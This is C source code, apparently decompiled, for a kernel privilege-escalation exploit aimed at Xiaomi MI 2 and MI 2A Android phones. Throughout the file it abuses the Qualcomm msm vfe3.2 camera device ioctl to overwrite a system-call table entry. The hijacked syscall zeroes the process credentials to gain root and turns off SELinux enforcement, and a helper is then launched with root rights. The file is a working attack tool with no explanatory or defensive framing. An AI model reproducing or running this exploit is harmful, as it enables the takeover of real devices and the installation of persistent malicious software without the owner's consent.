#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>
#include <dirent.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;
typedef unsigned short u2;

typedef struct _sam {
    char band[8];
    char model[32];
    char buildno[64];
    char version[64];
    unsigned int a;
} sam, *psam;

sam  sam_all[] = {
    // 1402403501034_unpack.so 172
    {"Xiaomi", "MI 2", "3.4.0-g52db9c3-01077-gb91661e", "#1 SMP PREEMPT Thu Apr 10 17:26:53 CST 2014", 0xc078442c}, \
    {"Xiaomi", "MI 2", "3.4.0-g52db9c3-01077-gb91661e", "#1 SMP PREEMPT Tue Apr 22 13:32:39 CST 2014", 0xc078442c}, \
    {"Xiaomi", "MI 2A", "3.4.0-g52db9c3-01077-gb91661e", "#1 SMP PREEMPT Thu Apr 10 17:32:53 CST 2014", 0xc0783568}, \
};

unsigned int orig_uid; // weak
unsigned int orig_euid; // weak
unsigned int orig_suid; // weak
unsigned int _dso_handle; // weak
unsigned int victim_syscall; // idb
u4 victim_syscall_addr; // idb
unsigned int found_selinux_key; // weak
unsigned int sel_enforcing; // weak
unsigned int my_sgid; // weak
unsigned int my_euid; // weak
char msm_vfe_buf[32];
unsigned int my_egid; // weak
unsigned int my_suid; // weak
unsigned int my_uid; // weak
unsigned int my_gid; // weak

u4 syscall_oabi_stat64(char *a1, u4 a2, u4 a3, u4 a4) {
    __asm __volatile (
        "STMFD   SP!, {R4,R5,LR}\n"
        "mov     r4, r3\n"
        "mov     r5, r3\n"
        "svc     0x9000C3\n"
        "LDMFD   SP!, {R4,R5,LR}\n"
        );
    return 0;
}

signed int sub_41B4()
{
    signed int result; // r0@2
    unsigned int v1; // r12@4
    int v2; // r0@4
    unsigned int v3; // r2@7
    int i; // r1@12
    unsigned int v5; // r2@19
    int v6; // r1@21
    bool v7; // zf@21
    signed int v8; // r1@24
    unsigned int v9; // r3@34
    unsigned int v10; // [sp+2Ch] [bp-24h]@4

    if ( victim_syscall_addr
        && (v1 = *(_DWORD *)((unsigned int)&v10 & 0xFFFFE000),
        v2 = *(_DWORD *)(victim_syscall_addr + 4),
        v10 = (unsigned int)&v10 & 0xFFFFE000,
        *(_DWORD *)victim_syscall_addr = v2,
        v1 <= 0xC0000000)
        && *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 4) <= 0xC0000000
        && *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 8) <= 0xC0000000
        && (v3 = *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0xC), v3 > 0xBFFFFFFF)
        && *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0x10) > 0xBFFFFFFF )
    {
        if ( *(_DWORD *)v3 > 0xC0000000 || *(_DWORD *)(v3 + 4) != ((unsigned int)&v10 & 0xFFFFE000) )
        {
            result = -2;
        }
        else
        {
            for ( i = *(_DWORD *)(((unsigned int)&v10 & 0xFFFFE000) + 0xC);
                *(_BYTE *)i != 112 || *(_BYTE *)(i + 1) != 118 || *(_BYTE *)(i + 2) != 82 || *(_BYTE *)(i + 3) != 95;
                ++i )
            {
                if ( i + 1 == v3 + 1024 )
                    return -3;
            }
            v5 = *(_DWORD *)(i - 8);
            if ( v5 <= 0xBFFFFFFF )
                return -3;
            v6 = *(_DWORD *)(v5 + 12);
            v7 = v6 == 0x43736564;
            if ( v6 != 0x43736564 )
                v7 = v6 == 0x44656144;
            if ( v7 )
                v8 = 4;
            else
                v8 = 1;
            if ( *(_DWORD *)(v5 + 4 * v8) != my_uid
                || *(_DWORD *)(v5 + 4 * (v8 + 1)) != my_gid
                || *(_DWORD *)(v5 + 4 * (v8 + 2)) != my_suid
                || *(_DWORD *)(v5 + 4 * (v8 + 3)) != my_sgid
                || *(_DWORD *)(v5 + 4 * (v8 + 4)) != my_euid
                || *(_DWORD *)(v5 + 4 * (v8 + 5)) != my_egid )
            {
                result = -100;
            }
            else
            {
                *(_DWORD *)(v5 + 4 * (v8 + 2)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 1)) = 0;
                *(_DWORD *)(v5 + 4 * v8) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 5)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 4)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 3)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 7)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 6)) = 0;
                *(_DWORD *)(v5 + 4 * (v8 + 10)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 9)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 12)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 11)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 14)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 13)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 16)) = -1;
                *(_DWORD *)(v5 + 4 * (v8 + 15)) = -1;
                if ( sel_enforcing && (v9 = *(_DWORD *)(v5 + 4 * (v8 + 4 * found_selinux_key + 17)), v9 > 0xC0000000) )
                {
                    result = 1;
                    *(_DWORD *)v9 = 1;
                    *(_DWORD *)(v9 + 4) = 1;
                }
                else
                {
                    result = 1;
                }
            }
        }
    }
    else
    {
        result = -1;
    }
    return result;
}

int get_vfe32_cmd_addr(int a1)
{
    int fd; // r9@1
    void *v2; // r0@2
    unsigned int v3; // r2@3
    int v4; // r0@3
    int v5; // r10@3
    unsigned int v6; // r8@3
    unsigned int v7; // r3@4
    unsigned int v8; // r1@4
    int v9; // r2@4
    int v10; // r2@5
    int v11; // r0@10
    void *v12; // r0@15
    int v13; // r0@15
    int v14; // r0@15
    int v15; // r10@15
    int v16; // r10@16
    int result; // r0@21
    int v18; // r10@23
    int i; // r6@23
    size_t v20; // r0@24
    size_t v21; // r0@25
    char *v22; // r3@28
    void *s; // [sp+10h] [bp-2Ch]@2
    unsigned int v24[8]; // [sp+1Ch] [bp-20h]@3
    struct utsname v25; // [sp+3Ch] [bp+0h]@1
    char v26; // [sp+BEh] [bp+82h]@24
    char v27; // [sp+FFh] [bp+C3h]@25
    int v28; // [sp+1C4h] [bp+188h]@1
    char var4[256]; // [sp+1C8h] [bp+18Ch]@3

    fd = a1;
    //goto LABEL_2; ////////// test
    if ( uname(&v25) )
        goto LABEL_2;
    v18 = 0;
    i = 0;
    while ( 1 )
    {
        v20 = strlen(sam_all[i].buildno);
        if ( !strncmp(v25.release, sam_all[i].buildno, v20) )
        {
            v21 = strlen(sam_all[i].version);
            if ( !strncmp(v25.version, sam_all[i].version, v21) )
                break;
        }
        ++i;
        v18 = i;
        if ( i == 3 )
            goto LABEL_2;
    }
    v22 = &sam_all[v18];
    if ( !v22 )
    {
LABEL_2:
        v2 = mmap(0, 0x1000000u, 3, 34, -1, 0);
        s = v2;
        if ( v2 )
        {
            v24[6] = (unsigned int)v24;
            v3 = (unsigned int)((char *)v2 + 0x40000000);
            v24[2] = (unsigned int)&v24[3];
            v4 = (u4)var4;
            v5 = (u4)s;
            *(u2 *)&v24[4] = 90;
            v24[0] = 0;
            v24[5] = 0xBFFFFFFF;
            v24[3] = v3 >> 4;
            v6 = 0x1000000;
            do
            {
                v7 = v6 >> 3;
                v8 = v6 >> 2;
                v9 = v5;
                if ( v6 >> 3 )
                {
                    v4 = v5;
                    v10 = 0;
                    do
                    {
                        ++v10;
                        *(_DWORD *)v4 = 90;
                        v4 += 4;
                    }
                    while ( v10 != v7 );
                    v9 = v5 + 4 * v7;
                }
                for ( ; v8 > v7; v9 += 4 )
                {
                    ++v7;
                    *(_DWORD *)v9 = 0xA5;
                }
                *(_DWORD *)__errno() = 0;
                v11 = ioctl(fd, 0, &v24[6]);
                v4 = __errno();
                if ( *(_DWORD *)v4 == 0x16 )
                {
                    v6 >>= 1;
                    v5 += v6;
                }
                else
                {
                    v4 = __errno();
                    if ( *(_DWORD *)v4 != 14 )
                        goto LABEL_18;
                    v6 >>= 1;
                }
            }
            while ( v6 > 7 );
            v12 = memset(s, 0, 0x1000000u);
            *(_DWORD *)(v5 + 4) = 0xA5;
            *(_DWORD *)v5 = 90;
            *(_DWORD *)__errno() = 0;
            v13 = ioctl(fd, 0, &v24[6]);
            v14 = __errno();
            v15 = v5 - (_DWORD)s;
            if ( *(_DWORD *)v14 == 22 )
            {
                v16 = v15 - 0x40000000;
LABEL_20:
                munmap(s, 0x1000000u);
                goto LABEL_21;
            }
            if ( *(_DWORD *)__errno() == 14 )
            {
                v16 = v15 - 0x40000004;
                goto LABEL_20;
            }
        }
LABEL_18:
        v16 = 0;
        goto LABEL_21;
    }
    v16 = sam_all[v18].a;
LABEL_21:
    result = v16;
    return result;
}

static int sub_68A4(const char *s)
{
    unsigned int entry_addr;
    char type;
    char sym_name[1024];
    int r;
    FILE *fp = fopen("/proc/kallsyms", "r");

    int exists = 0;

    if (fp == NULL) {
        return 0;
    }

    while (1) {
        while (1) {
            r = fscanf(fp, "%p %c %s\n", &entry_addr, &type, sym_name);
            if (r) break;
            r = fscanf(fp, "%s\n", sym_name);
        }

        if (!strcmp(s, sym_name)) {
            exists = 1;
            break;
        }

        if (r == EOF) {
            break;
        }
    }

    fclose(fp);

    return exists;
}

int oabi_or_keys_present(int a1)
{
    int v1; // r6@0
    int v2; // r5@1
    __pid_t v3; // r4@1
    int result; // r0@4
    struct stat v5; // [sp+0h] [bp-78h]@3
    char buf[256] = {0};

    v2 = a1;
    v3 = getpid();
    if ( v2 == 1 )
    {
        v1 = syscall_oabi_stat64("/proc/cpuinfo", buf, 0, 0);
        if ( v3 != getpid() )
            exit(0);
    }
    else if ( v2 == 2 )
    {
        v1 = stat("/proc/key-users", &v5);
    }
    result = 1 - v1;
    if ( (unsigned int)v1 > 1 )
        result = 0;
    return result;
}

signed int selinux_status()
{
    int v0; // r3@1
    int v1; // r0@1
    int v2; // r8@1
    ssize_t v3; // r10@2
    signed int result; // r0@4
    struct stat v5; // [sp+0h] [bp-A8h]@8
    int v7;
    int buf;
    int v9;
    v7 = 0;
    v1 = open("/sys/fs/selinux/enforce", 0);
    v2 = v1;
    if ( v1 >= 0 )
    {

        buf = 0;
        v9 = 0;
        v3 = read(v1, &buf, 4u);
        close(v2);
        if ( v3 >= 0 && sscanf((const char *)&buf, "%d", &v7) != 1 )
        {
            result = 0;
            return result;
        }
        result = v7;
        return result;
    }
    if ( stat("/sys/fs/selinux", (struct stat *)&v5) ||  (v5.st_uid  & 0xF000) == 0x4000 )
    {
        result = v7;
        return result;
    }
    result = 1;
    return result;
}

//int main(int argc, const char **argv, const char **envp)
int root_exploit()
{
    int result; // r0@2
    __pid_t v4; // r0@3
    __pid_t v5; // r7@6
    __pid_t v6; // r0@9
    int v7; // r5@12
    DIR *v8; // r6@14
    struct dirent *v9; // r0@15
    int v10; // r5@16
    int v11; // r0@17
    int v12; // r4@17
    int v13; // r0@19
    u4 v14; // r11@20
    unsigned int v15; // r12@21
    unsigned int v16; // r3@23
    int v17; // t1@23
    int v18; // r12@24
    unsigned int v19; // r5@24
    int v20; // r5@25
    int v21; // r6@25
    int v22; // r0@27
    FILE *v23; // r5@29
    int v24; // lr@30
    int v25; // r5@30
    u4 v26; // r11@30
    int v27; // r0@31
    int v28; // r0@37
    int v29; // r4@37
    __pid_t v30; // r0@39
    int buf[4]; // [sp+Ch] [bp-1B4h]@19
    unsigned int src[4]; // [sp+1Ch] [bp-1A4h]@30
    int v33[2]; // [sp+2Ch] [bp-194h]@30
    int *v34; // [sp+34h] [bp-18Ch]@30
    unsigned int v35; // [sp+38h] [bp-188h]@30
    unsigned int v36; // [sp+3Ch] [bp-184h]@30
    int *v37; // [sp+40h] [bp-180h]@30
    int v38[2]; // [sp+44h] [bp-17Ch]@30
    signed int (*v39)(); // [sp+4Ch] [bp-174h]@1
    int stat_loc; // [sp+50h] [bp-170h]@9
    char v41[256]; // [sp+54h] [bp-16Ch]@17
    char v42[32]; // [sp+154h] [bp-6Ch]@18
    char s[32]; // [sp+174h] [bp-4Ch]@19
    int v44; // [sp+194h] [bp-2Ch]@1

    v39 = sub_41B4;
    sel_enforcing = selinux_status();
    //__android_log_print(4, "JMAIN", "m%x\n", main);
    v7 = sel_enforcing;
    if ( 1 )
    {
        v8 = opendir("/dev");
        if ( !v8 )
            exit(1);
        while ( 1 )
        {
            v9 = readdir(v8);
            if ( !v9 )
            {
                closedir(v8);
                exit(1);
            }
            v10 = v9->d_name;
            if ( !strncmp(v9->d_name, "v4l-subdev", 0xAu) )
            {
                snprintf(v41, 0xFFu, "/sys/class/video4linux/%s/name", v10);
                v11 = open(v41, 0);
                v12 = v11;
                if ( v11 > 0 )
                {
                    read(v11, v42, 0x20u);
                    close(v12);
                    if ( !strncmp(v42, "vfe3.2", 6u) )
                        break;
                }
            }
        }
        snprintf(s, 0x20u, "/dev/%s", v10);
        closedir(v8);
        v13 = open(s, 0);
        buf[0] = v13;
        if ( v13 < 0 )
            exit(1);
        v14 = get_vfe32_cmd_addr(v13);
        if ( !v14 )
            exit(5);
        getresuid(&my_uid, &my_euid, &my_suid);
        getresgid(&my_gid, &my_egid, &my_sgid);
        prctl(15, "pvR_timewQ", 0, 0, 0);
        v15 = 0xFFFF0000;
        do
        {
            v17 = *(_DWORD *)v15;
            v15 += 4;
            v16 = v17;
            if ( (v17 & 0xFFFFF000) == 0xE59FF000 )
            {
                v18 = v15 - 4;
                v19 = (v16 & 0xFFF) + 8;
                if ( v19 + v18 >= 0xFFFF1000 )
                    exit(1);
                v20 = *(_DWORD *)(v19 + v18);
                v21 = v20 + 112;
                if ( prctl(21, 0, 0, 0, 0) >= 0 )
                    v21 = v20 + 136;
                v22 = oabi_or_keys_present(1);
                if ( v22 )
                    v21 += 24;
                v23 = (FILE *)(((v21 + 99) & 0xFFFFFFE0) + 4 * v22 + 4);
                if ( sel_enforcing )
                    found_selinux_key = oabi_or_keys_present(2);
                goto LABEL_30;
            }
        }
        while ( v15 != 0xFFFF1000 );
        v23 = sub_68A4("sys_call_table");
        if ( !v23 )
            exit(1);
LABEL_30:
        v24 = ((char *)v23 + 0x430);
        v25 = 0;
        victim_syscall_addr = v24 + 12;
        victim_syscall = 271;
        printff("[main]victim_syscall_addr: %x\n", victim_syscall_addr); //C000E0A4
        prctl(4, 1, 0, 0, 0);
        *(unsigned short *)&src[8] = 0xBABEu;
        src[6] = (unsigned int)&src[7];
        src[1] = 0xBABE;
        src[10] = (unsigned int)&src[4];
        src[9] = 0xBFFFFFFF;
        src[4] = 0;

/*
        unsigned int ptr;
        ptr = (u4)mmap((void *)0x40131000, 0x1000u, 3, 50, -1, 0);*/

        v26 = (u4)&msm_vfe_buf - (u4)v14; //401EC4D8 //(u4)&msm_vfe_buf
        while ( 1 )
        {
            memcpy(&msm_vfe_buf[v25], src, 0x10u); //&msm_vfe_buf[v25]
            src[7] = (v26 + v25) >> 4;
            v27 = ioctl(buf[0], 0, &src[10]);
            if ( *(_DWORD *)__errno() == 14 )
                break;
            v25 += 4;
            if ( v25 == 16 )
                goto LABEL_33;
        }
        *(unsigned short *)&src[8] = 4;
        src[2] = victim_syscall_addr;
        src[9] = (unsigned int)&v39;
        src[1] = 4;
        memcpy(&msm_vfe_buf[v25], src, 0x10u); ////&msm_vfe_buf[v25]
        if ( ioctl(buf[0], 0, &src[10]) )
            exit(3);
LABEL_33:
        close(buf[0]);
        sleep(1u);
        if ( !*(_DWORD *)v39 )
            exit(18);
        if ( syscall(victim_syscall) != 1 )
            exit(15);
        printff("[main]uid: %x\n", getuid());
    }
LABEL_4:
    return result;
}

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int ret = 0, uid=0;

#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	root_exploit();
	
	uid = getuid();
	ret = (uid == 0);
	
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
